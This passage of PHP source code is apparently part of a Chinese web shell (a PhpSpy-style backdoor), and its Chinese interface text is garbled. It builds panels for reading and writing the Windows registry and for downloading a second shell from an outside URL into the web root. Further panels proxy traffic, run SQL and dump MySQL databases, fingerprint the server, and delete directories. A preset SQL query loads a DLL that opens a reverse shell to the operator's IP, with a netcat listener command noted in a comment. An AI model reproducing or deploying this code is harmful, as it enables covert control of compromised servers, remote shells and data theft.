$tb->tdbody('<27><>ֵ: '.$tb->makeinput('readregname',$regname,'','text','100').' '.$tb->makeinput('regread','<27><>ȡ','','submit'),'center','2','50');
|
|||
|
echo "</form>";
|
|||
|
|
|||
|
$tb->formheader($action,'д<><D0B4>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>');
|
|||
|
$cacheregtype = array('REG_SZ'=>'REG_SZ','REG_BINARY'=>'REG_BINARY','REG_DWORD'=>'REG_DWORD','REG_MULTI_SZ'=>'REG_MULTI_SZ','REG_EXPAND_SZ'=>'REG_EXPAND_SZ');
|
|||
|
$tb->tdbody('<27><>ֵ: '.$tb->makeinput('writeregname',$registre,'','text','56').' <20><><EFBFBD><EFBFBD>: '.$tb->makeselect(array('name'=>'regtype','option'=>$cacheregtype,'selected'=>$regtype)).' ֵ: '.$tb->makeinput('regval',$regval,'','text','15').' '.$tb->makeinput('regwrite','д<><D0B4>','','submit'),'center','2','50');
|
|||
|
echo "</form>";
|
|||
|
|
|||
|
$tb->formheader($action,'ɾ<><C9BE>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>');
|
|||
|
$tb->tdbody('<27><>ֵ: '.$tb->makeinput('delregname',$delregname,'','text','100').' '.$tb->makeinput('regdelete','ɾ<><C9BE>','','submit'),'center','2','50');
|
|||
|
echo "</form>";
|
|||
|
$tb->tablefooter();
|
|||
|
}//end reg
|
|||
|
elseif ($_GET['action'] == "downloads"){
|
|||
|
$action = '?action=dir';
|
|||
|
$tb->tableheader();
|
|||
|
$tb->formheader($action,'http<74>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ģʽ');
|
|||
|
$tb->tdbody('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD>ܰ<EFBFBD>һЩС<D0A9><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>http<74><70>ʽ<EFBFBD><CABD><EFBFBD>ص<EFBFBD><D8B5>˷<EFBFBD><CBB7><EFBFBD><EFBFBD><EFBFBD>','center');
|
|||
|
$tb->tdbody('<27>ļ<EFBFBD>λ<EFBFBD><CEBB>: '.$tb->makeinput('durl','http://blog.blackwoods.com/miyabi/myshell.txt','','text','70').'<br><3E><><EFBFBD>ص<EFBFBD>:'.$tb->makeinput('path','./myshell.php','','text','60').''.$tb->makehidden('do','downloads').''.$tb->makeinput('','<27><><EFBFBD><EFBFBD>','','submit'),'center','1','35');
|
|||
|
echo "</form>";
|
|||
|
$tb->tdbody('ע<><D7A2>,<2C><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>̫<EFBFBD><CCAB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӱ<EFBFBD><D3B0>ִ<EFBFBD><D6B4><EFBFBD>ٶ<EFBFBD>.','center');
|
|||
|
$tb->tablefooter();
|
|||
|
}
|
|||
|
elseif ($_GET['action'] == "search"){
|
|||
|
$action = '?dir='.$dir.'';
|
|||
|
$tb->tableheader();
|
|||
|
$tb->formheader($action,'<27>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>');
|
|||
|
$tb->tdbody('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD>ܲ<EFBFBD><DCB2><EFBFBD>һ<EFBFBD><D2BB>Ŀ¼<C4BF>µ<EFBFBD><C2B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Źؼ<C5B9><D8BC><EFBFBD>!','center');
|
|||
|
$tb->tdbody('<27>ļ<EFBFBD>λ<EFBFBD><CEBB>: '.$tb->makeinput('path',''.$nowpath.'','','text','70').'<br><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:'.$tb->makeinput('oldkey','<27>¼<EFBFBD>','','text','60').''.$tb->makehidden('do','search').'<br> <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><input type="checkbox" name="type" value="list" onclick="javascript:alert(\'ѡ<><D1A1><EFBFBD>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>г<EFBFBD><D0B3>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>Ķ<EFBFBD><C4B6><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ж<EFBFBD><D0B6><EFBFBD><EFBFBD>н<EFBFBD><D0BD>бȶ<D0B1>\\n\\n<><6E>ʽΪ:[<5B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>]<5D><><EFBFBD><EFBFBD>[12/99],<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>з<EFBFBD><D0B7><EFBFBD>.\\n\\n<>˹<EFBFBD><CBB9>ܿ<EFBFBD><DCBF>ܻ<EFBFBD><DCBB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>ʱ,<2C>뿼<EFBFBD><EBBFBC>ʹ<EFBFBD><CAB9>,û<>пɶ<D0BF>Ȩ<EFBFBD><EFBFBD><DEBD><EFBFBD><EFBFBD><EFBFBD>!\')"> (<28>˹<EFBFBD><CBB9>ܺ<EFBFBD><DCBA><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ܻ<EFBFBD>Ӱ<EFBFBD><D3B0>ִ<EFBFBD><D6B4><EFBFBD>ٶȣ<D9B6><C8A3><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD>Ϲر<CFB9>!) <br><3E>ʵ<EFBFBD><CAB5><EFBFBD>ȡ:<input type="checkbox" name="type2" value="getpath" onclick="javascript:alert(\'ѡ<><D1A1><EFBFBD>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>г<EFBFBD><D0B3>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD>趨<EFBFBD><E8B6A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵIJ<DAB5><C4B2><EFBFBD><EFBFBD>ַ<EFBFBD>..\\n\\n<><6E>ȡ<EFBFBD>˹<EFBFBD><CBB9>ܲ<EFBFBD><DCB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ϼ<EFBFBD><CFBC>ɶ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>....\\n\\n<>˹<EFBFBD><CBB9>ܿ<EFBFBD><DCBF>ܻ<EFBFBD><DCBB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>ʱ,<2C>뿼<EFBFBD><EBBFBC>ʹ<EFBFBD><CAB9>,û<>пɶ<D0BF>Ȩ<EFBFBD><EFBFBD><DEBD><EFBFBD><EFBFBD><EFBFBD>!\')"> <20><>ȡ<EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD>ǰ'.$tb->makeinput('beline','0','','text','3').'<27><><EFBFBD>ַ<EFBFBD> '.$tb->makehidden('dir',''.$dir.'').'<27><><EFBFBD>ؼ<EFBFBD><D8BC>ʺ<EFBFBD><CABA><EFBFBD>'.$tb->makeinput('endline','10','','text','3').'<27><><EFBFBD>ַ<EFBFBD>... '.$tb->makehidden('dir',''.$dir.'').''.$tb->makeinput('','<27><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>','','submit'),'center','1','35');
|
|||
|
echo "</form>";
|
|||
|
$tb->tdbody('<27><><EFBFBD><EFBFBD>̫<EFBFBD><CCAB><EFBFBD><EFBFBD>Ŀ¼<C4BF>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Һò<D2BA><C3B2><EFBFBD><EFBFBD><EFBFBD>.<2E><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٶȻ<D9B6><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ[<5B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F>ܹ<EFBFBD><DCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>]','center');
|
|||
|
$tb->tablefooter();
|
|||
|
}
|
|||
|
elseif ($_GET['action'] == "proxy") {
|
|||
|
$action = '?action=proxy';
|
|||
|
$tb->tableheader();
|
|||
|
$tb->formheader($action,'<27><><EFBFBD>ߴ<EFBFBD><DFB4><EFBFBD>','proxyframe');
|
|||
|
$tb->tdbody('<br><ul><li><3E>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD>ܽ<EFBFBD>ʵ<EFBFBD>ּ<D6BC> HTTP <20><><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾʹ<CABE><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>ͼƬ<CDBC><C6AC><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD>CSS<53><53>ʽ<EFBFBD><CABD>.</li><li><3E>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD>ܿ<EFBFBD><DCBF><EFBFBD>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF>URL,<2C><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> SQL Injection ̽<><CCBD><EFBFBD>Լ<EFBFBD>ijЩ<C4B3><D0A9><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>.</li><li><3E>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> URL,<2C><>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>IP<49><50>¼<EFBFBD><C2BC> : '.$_SERVER['REMOTE_ADDR'].'</li></ul>','left');
|
|||
|
$tb->tdbody('URL: '.$tb->makeinput('url','http://www.4ngel.net','','text','100').' '.$tb->makeinput('','<27><><EFBFBD><EFBFBD>','','submit'),'center','1','40');
|
|||
|
$tb->tdbody('<iframe name="proxyframe" frameborder="0" width="765" height="400" marginheight="0" marginwidth="0" scrolling="auto" src="http://www.4ngel.net"></iframe>');
|
|||
|
echo "</form>";
|
|||
|
$tb->tablefooter();
|
|||
|
}//end proxy
|
|||
|
|
|||
|
elseif ($_GET['action'] == "sql") {
|
|||
|
$action = '?action=sql';
|
|||
|
|
|||
|
$servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost';
|
|||
|
$dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root';
|
|||
|
$dbpassword = $_POST['dbpassword'];
|
|||
|
$dbname = $_POST['dbname'];
|
|||
|
$sql_query = $_POST['sql_query'];
|
|||
|
if($type=="fun"){
|
|||
|
$sql_query = "CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\Winnt\\Mix.dll';
|
|||
|
select Mixconnect('".$_SERVER['REMOTE_ADDR']."','8888');/*<2A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>*/
|
|||
|
/*<2A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4> nc -vv -l -p 8888*/";
|
|||
|
}
|
|||
|
$tb->tableheader();
|
|||
|
$tb->formheader($action,'ִ<><D6B4> SQL <20><><EFBFBD><EFBFBD>');
|
|||
|
$tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','<27><><EFBFBD><EFBFBD>','','submit'));
|
|||
|
$tb->tdbody($tb->maketextarea('sql_query',$sql_query,'85','10'));
|
|||
|
$tb->makehidden('do','query');
|
|||
|
$tb->formfooter('1','30');
|
|||
|
}//end sql query
|
|||
|
|
|||
|
elseif ($_GET['action'] == "sqlbak") {
|
|||
|
$action = '?action=sqlbak';
|
|||
|
$servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost';
|
|||
|
$dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root';
|
|||
|
$dbpassword = $_POST['dbpassword'];
|
|||
|
$dbname = $_POST['dbname'];
|
|||
|
$tb->tableheader();
|
|||
|
$tb->formheader($action,'<27><><EFBFBD><EFBFBD> MySQL <20><><EFBFBD>ݿ<EFBFBD>');
|
|||
|
$tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','<27><><EFBFBD><EFBFBD>','','submit'));
|
|||
|
@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname);
|
|||
|
$tables = @mysql_list_tables($dbname);
|
|||
|
while ($table = @mysql_fetch_row($tables)) {
|
|||
|
$cachetables[$table[0]] = $table[0];
|
|||
|
}
|
|||
|
@mysql_free_result($tables);
|
|||
|
if (empty($cachetables)) {
|
|||
|
$tb->tdbody('<b><3E><>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD> or <20><>ǰ<EFBFBD><C7B0><EFBFBD>ݿ<EFBFBD>û<EFBFBD><C3BB><EFBFBD>κ<EFBFBD><CEBA><EFBFBD><EFBFBD>ݱ<EFBFBD></b>');
|
|||
|
} else {
|
|||
|
$tb->tdbody('<table border="0" cellpadding="3" cellspacing="1"><tr><td valign="top"><3E><>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD>:</td><td>'.$tb->makeselect(array('name'=>'table[]','option'=>$cachetables,'multiple'=>1,'size'=>15,'css'=>1)).'</td></tr><tr nowrap><td><input type="radio" name="backuptype" value="server" checked> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>:</td><td>'.$tb->makeinput('path',$pathname.'/'.$_SERVER['HTTP_HOST'].'_MySQL.sql','','text','50').'</td></tr><tr nowrap><td colspan="2"><input type="radio" name="backuptype" value="download"> ֱ<><D6B1><EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD> (<28>ʺ<EFBFBD><CABA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>)</td></tr></table>');
|
|||
|
$tb->makehidden('do','backupmysql');
|
|||
|
$tb->formfooter('0','30');
|
|||
|
}
|
|||
|
$tb->tablefooter();
|
|||
|
@mysql_close();
|
|||
|
}//end sql backup
|
|||
|
|
|||
|
elseif ($_GET['action'] == "phpenv") {
|
|||
|
$user = " <a href=\"?action=nowuser\" target=\"_blank\"><3E><><EFBFBD><EFBFBD>crush<73><68><EFBFBD>˻<EFBFBD>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD></a> ";
|
|||
|
$upsize=get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD>";
|
|||
|
$adminmail=(isset($_SERVER['SERVER_ADMIN'])) ? "<a href=\"mailto:".$_SERVER['SERVER_ADMIN']."\">".$_SERVER['SERVER_ADMIN']."</a>" : "<a href=\"mailto:".get_cfg_var("sendmail_from")."\">".get_cfg_var("sendmail_from")."</a>";
|
|||
|
if ($dis_func == "") {
|
|||
|
$dis_func = "No";
|
|||
|
}else {
|
|||
|
$dis_func = str_replace(" ","<br>",$dis_func);
|
|||
|
$dis_func = str_replace(",","<br>",$dis_func);
|
|||
|
}
|
|||
|
$phpinfo=(!eregi("phpinfo",$dis_func)) ? "Yes" : "No";
|
|||
|
$info = array(
|
|||
|
0 => array("<22><>ǰphp<68><70><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>",$user),
|
|||
|
1 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ",PHP_OS),
|
|||
|
2 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>",date("Y<><59>m<EFBFBD><6D>d<EFBFBD><64> h:i:s",time())),
|
|||
|
3 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","<a href=\"http://".$_SERVER['SERVER_NAME']."\" target=\"_blank\">".$_SERVER['SERVER_NAME']."</a>"),
|
|||
|
4 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49><50>ַ",gethostbyname($_SERVER['SERVER_NAME'])),
|
|||
|
5 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>",$_SERVER['HTTP_ACCEPT_LANGUAGE']),
|
|||
|
6 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>",$_SERVER['SERVER_SOFTWARE']),
|
|||
|
7 => array("Web<65><62><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>",$_SERVER['SERVER_PORT']),
|
|||
|
8 => array("PHP<48><50><EFBFBD>з<EFBFBD>ʽ",strtoupper(php_sapi_name())),
|
|||
|
9 => array("PHP<48>汾",PHP_VERSION),
|
|||
|
10 => array("<22><><EFBFBD><EFBFBD><EFBFBD>ڰ<EFBFBD>ȫģʽ",getphpcfg("safemode")),
|
|||
|
11 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ա",$adminmail),
|
|||
|
12 => array("<22><><EFBFBD>ļ<EFBFBD>·<EFBFBD><C2B7>",__FILE__),
|
|||
|
13 => array("<22><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9> URL <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD> allow_url_fopen",getphpcfg("allow_url_fopen")),
|
|||
|
14 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD> enable_dl",getphpcfg("enable_dl")),
|
|||
|
15 => array("<22><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ display_errors",getphpcfg("display_errors")),
|
|||
|
16 => array("<22>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD> register_globals",getphpcfg("register_globals")),
|
|||
|
17 => array("magic_quotes_gpc",getphpcfg("magic_quotes_gpc")),
|
|||
|
18 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD> memory_limit",getphpcfg("memory_limit")),
|
|||
|
19 => array("POST<53><54><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD> post_max_size",getphpcfg("post_max_size")),
|
|||
|
20 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD><CFB4>ļ<EFBFBD> upload_max_filesize",$upsize),
|
|||
|
21 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB3A4><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> max_execution_time",getphpcfg("max_execution_time")."<22><>"),
|
|||
|
22 => array("<22><><EFBFBD><EFBFBD><EFBFBD>õĺ<C3B5><C4BA><EFBFBD> disable_functions",$dis_func),
|
|||
|
23 => array("phpinfo()",$phpinfo),
|
|||
|
24 => array("Ŀǰ<C4BF><C7B0><EFBFBD>п<EFBFBD><D0BF><EFBFBD><EFBFBD>ռ<EFBFBD>diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'),
|
|||
|
25 => array("ͼ<>δ<EFBFBD><CEB4><EFBFBD> GD Library",getfun("imageline")),
|
|||
|
26 => array("IMAP<41><50><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD>ϵͳ",getfun("imap_close")),
|
|||
|
27 => array("MySQL<51><4C><EFBFBD>ݿ<EFBFBD>",getfun("mysql_close")),
|
|||
|
28 => array("SyBase<73><65><EFBFBD>ݿ<EFBFBD>",getfun("sybase_close")),
|
|||
|
29 => array("Oracle<6C><65><EFBFBD>ݿ<EFBFBD>",getfun("ora_close")),
|
|||
|
30 => array("Oracle 8 <20><><EFBFBD>ݿ<EFBFBD>",getfun("OCILogOff")),
|
|||
|
31 => array("PREL<45><4C><EFBFBD><EFBFBD><EFBFBD> PCRE",getfun("preg_match")),
|
|||
|
32 => array("PDF<44>ĵ<EFBFBD>֧<EFBFBD><D6A7>",getfun("pdf_close")),
|
|||
|
33 => array("Postgre SQL<51><4C><EFBFBD>ݿ<EFBFBD>",getfun("pg_close")),
|
|||
|
34 => array("SNMP<4D><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD>",getfun("snmpget")),
|
|||
|
35 => array("ѹ<><D1B9><EFBFBD>ļ<EFBFBD>֧<EFBFBD><D6A7>(Zlib)",getfun("gzclose")),
|
|||
|
36 => array("XML<4D><4C><EFBFBD><EFBFBD>",getfun("xml_set_object")),
|
|||
|
37 => array("FTP",getfun("ftp_login")),
|
|||
|
38 => array("ODBC<42><43><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD>",getfun("odbc_close")),
|
|||
|
39 => array("Session֧<6E><D6A7>",getfun("session_start")),
|
|||
|
40 => array("Socket֧<74><D6A7>",getfun("fsockopen")),
|
|||
|
);
|
|||
|
$tb->tableheader();
|
|||
|
echo "<form action=\"?action=phpenv\" method=\"POST\">\n";
|
|||
|
$tb->tdbody('<b><3E>鿴PHP<48><50><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>״<EFBFBD><D7B4></b>','left','1','30','style="padding-left: 5px;"');
|
|||
|
$tb->tdbody('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>(<28><>:magic_quotes_gpc): '.$tb->makeinput('phpvarname','','','text','40').' '.$tb->makeinput('','<27>鿴','','submit'),'left','2','30','style="padding-left: 5px;"');
|
|||
|
$tb->makehidden('do','viewphpvar');
|
|||
|
echo "</form>\n";
|
|||
|
$hp = array(0=> '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>', 1=> 'PHP<48><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>', 2=> '<27><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7>״<EFBFBD><D7B4>');
|
|||
|
for ($a=0;$a<3;$a++) {
|
|||
|
$tb->tdbody('<b>'.$hp[1].'</b>','left','1','30','style="padding-left: 5px;"');
|
|||
|
?>
|
|||
|
<tr class="secondalt">
|
|||
|
<td>
|
|||
|
<table width="100%" border="0" cellpadding="0" cellspacing="0">
|
|||
|
<?php
|
|||
|
if ($a==0) {
|
|||
|
for($i=0;$i<=12;$i++) {
|
|||
|
echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
|
|||
|
}
|
|||
|
} elseif ($a == 1) {
|
|||
|
for ($i=13;$i<=24;$i++) {
|
|||
|
echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
|
|||
|
}
|
|||
|
} elseif ($a == 2) {
|
|||
|
for ($i=25;$i<=40;$i++) {
|
|||
|
echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
|
|||
|
}
|
|||
|
}
|
|||
|
?>
|
|||
|
</table>
|
|||
|
</td>
|
|||
|
</tr>
|
|||
|
<?php
|
|||
|
}//for
|
|||
|
echo "</table>";
|
|||
|
}//end phpenv
|
|||
|
?>
|
|||
|
<hr width="775" noshade>
|
|||
|
<table width="775" border="0" cellpadding="0">
|
|||
|
<tr>
|
|||
|
<td>Copyright (C) 2005 Sai All Rights Reserved.</td>
|
|||
|
<td align="right"><?php
|
|||
|
debuginfo();
|
|||
|
ob_end_flush();
|
|||
|
?></td>
|
|||
|
</tr>
|
|||
|
</table>
|
|||
|
</center>
|
|||
|
</body>
|
|||
|
</html>
|
|||
|
|
|||
|
<?php
|
|||
|
|
|||
|
/*======================================================
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
======================================================*/
|
|||
|
|
|||
|
// <20><>½<EFBFBD><C2BD><EFBFBD><EFBFBD>
|
|||
|
function loginpage() {
|
|||
|
?>
|
|||
|
<style type="text/css">
|
|||
|
input {font-family: "Verdana";font-size: "11px";BACKGROUND-COLOR: "#FFFFFF";height: "18px";border: "1px solid #666666";}
|
|||
|
</style>
|
|||
|
<form method="POST" action="">
|
|||
|
<span style="font-size: 11px; font-family: Verdana">Password: </span><input name="adminpass" type="password" size="20">
|
|||
|
<input type="hidden" name="do" value="login">
|
|||
|
<input type="submit" value="Login">
|
|||
|
</form>
|
|||
|
<?php
|
|||
|
exit;
|
|||
|
}//end loginpage()
|
|||
|
|
|||
|
// ҳ<><D2B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
|||
|
function debuginfo() {
|
|||
|
global $starttime;
|
|||
|
$mtime = explode(' ', microtime());
|
|||
|
$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
|
|||
|
echo "Processed in $totaltime second(s)";
|
|||
|
}
|
|||
|
|
|||
|
// ȥ<><C8A5>ת<EFBFBD><D7AA><EFBFBD>ַ<EFBFBD>
|
|||
|
function stripslashes_array(&$array) {
|
|||
|
while(list($key,$var) = each($array)) {
|
|||
|
if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
|
|||
|
if (is_string($var)) {
|
|||
|
$array[$key] = stripslashes($var);
|
|||
|
}
|
|||
|
if (is_array($var)) {
|
|||
|
$array[$key] = stripslashes_array($var);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
return $array;
|
|||
|
}
|
|||
|
|
|||
|
// ɾ<><C9BE>Ŀ¼
|
|||
|
function deltree($deldir) {
|
|||
|
$mydir=@dir($deldir);
|
|||
|
while($file=$mydir->read()) {
|
|||
|
if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) {
|
|||
|
@chmod("$deldir/$file",0777);
|
|||
|
deltree("$deldir/$file");
|
|||
|
}
|
|||
|
if (is_file("$deldir/$file")) {
|
|||
|
@chmod("$deldir/$file",0777);
|
|||
|
